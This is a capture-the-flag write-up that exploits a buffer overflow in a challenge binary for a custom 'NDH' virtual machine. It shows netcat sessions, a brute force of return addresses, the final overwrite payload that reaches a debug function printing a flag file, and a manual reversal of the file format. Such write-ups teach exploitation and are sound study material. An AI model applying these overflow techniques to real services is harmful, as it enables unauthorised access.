After decrypting the secret message, we got a new email, from Piotr this time, a supposed technical operative.

From: Piotr <>
To: w3pwnz <>
Subject: Any idea how to use this file?
Attachments : webApp.ndh

Great job there! You seem to be quite a great cryptograph, wow. Your account has been credited with $100. Btw, I'm Piotr, from the technical staff. Maybe Jessica told you about me, we will interact directly about complex questions.

Anyway, our anonymous contact at Sciteek has sent us another binary file with that strange extension, will you be able to break it? If you manage so, please contact me directly with the subject "Unknown file extension", $1700 dollars to earn!


As you can see, he asks us to study a file which format and extension are unknown.
The file is pretty small (897 bytes), and contains some strings :

# strings webApp.ndh
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase:
Nope. It is not the good password

We can easily recognize the other strings as coming from the pseudo-assembly code decrypted. A quick look at it shows a blatant 10-bytes read while the function frame is only 8-bytes long. We can quickly check this buffer overflow on the online service:

# nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: 0123456789
[!] Segfault 0x3938 (opcode unknown)

From the plain ASM, we also spot a debug function whose job is to display the “esoasoel.txt” file, obvious candidate for our BoF. From there on, two options: bruteforcing the possible return addresses or reversing the file format to find the actual offset of the debug function.

Step 1 : The Easy Way

The address space is only 16-bits long and we haven’t enough place for a shellcode anyway: we chose to bruteforce it - at the time, we did not have the NDH virtual machine from the rar archive to directly get the correct offset. The only trick here is to think about injecting 9 bytes instead of 10 to get the heavy-weighted one:

$ perl -e 'print "A"x9' | nc 4000
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase: [!] Segfault 0x8241 (opcode unknown)

The assembly suggests that the debug function we are looking for is farther ahead in the code segment than the call :ask_password, so we launched a bruteforce from 0x8200 to 0x83ff included.
Finally, Ezekiel 25:17 pops up:

# python -c "print 'A'*8+'\xdb\x82'" | nc 4000

Welcome on SciPad Shell, root.

The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men. 
Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children. 
And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy My brothers. 
And you will know My name is the Lord when I lay My vengeance upon thee.

- God (f98eb53e7960c9a663c60a916b6de70e)

Be careful, this service is not protected by any option, to avoid exploitation please use the new version of this shell available on 
This service runs in a vm with stack layout randomization which is more secure

Something's fucked up ('cause our developers drink too much beer).
Try later. Or not.

Step 2 : The hard way, ‘cuz you’re a grown up and all.

First we have to study the binary. So hex editor it is.

The first four bytes indicate the file type, here NDH. The two following bytes indicate the size of the code and data section : the end offset is 0x37F, and 0x37F - FILE_TYPE_FIELD_SIZE (4) = 0x37B.

The data section is localized at the end of the file :


We recognize the strings from the pseudo ASM code with a little difference : the name of the text file.

Now we have to find the function that displays the file content. Thanks to the Scios Instruction Set we extracted from the audio file, we know that the binary is mapped at the 0x8000 address. We manually compile the following statement :


MOVL R0, :FLAG_FILE give us the following opcodes :

04     02                   00    6e 83

The filename address is calculated by adding the filename offset in the file (0x374 - HDR_SIZE(6)) to the memory base address (0x8000) which give us 0x836E.
We can’t fully compile the next statement, because we don’t know where is the DISP_FILE_CONTENT function, however we know the compiled statement will be something like that :

19      04               XX XX

Consequently, we can look for the followings bytes in the binary :

04 02 00 6E 83 19 04


And we find them at the file offset 2E1 that we translate into memory address :

0x8000 + 0x2E1 - 0x6 (HDR_SIZE) = 0x82DB.

No surprise here, this is the address we found by bruteforcing the BoF. Well, that’s it.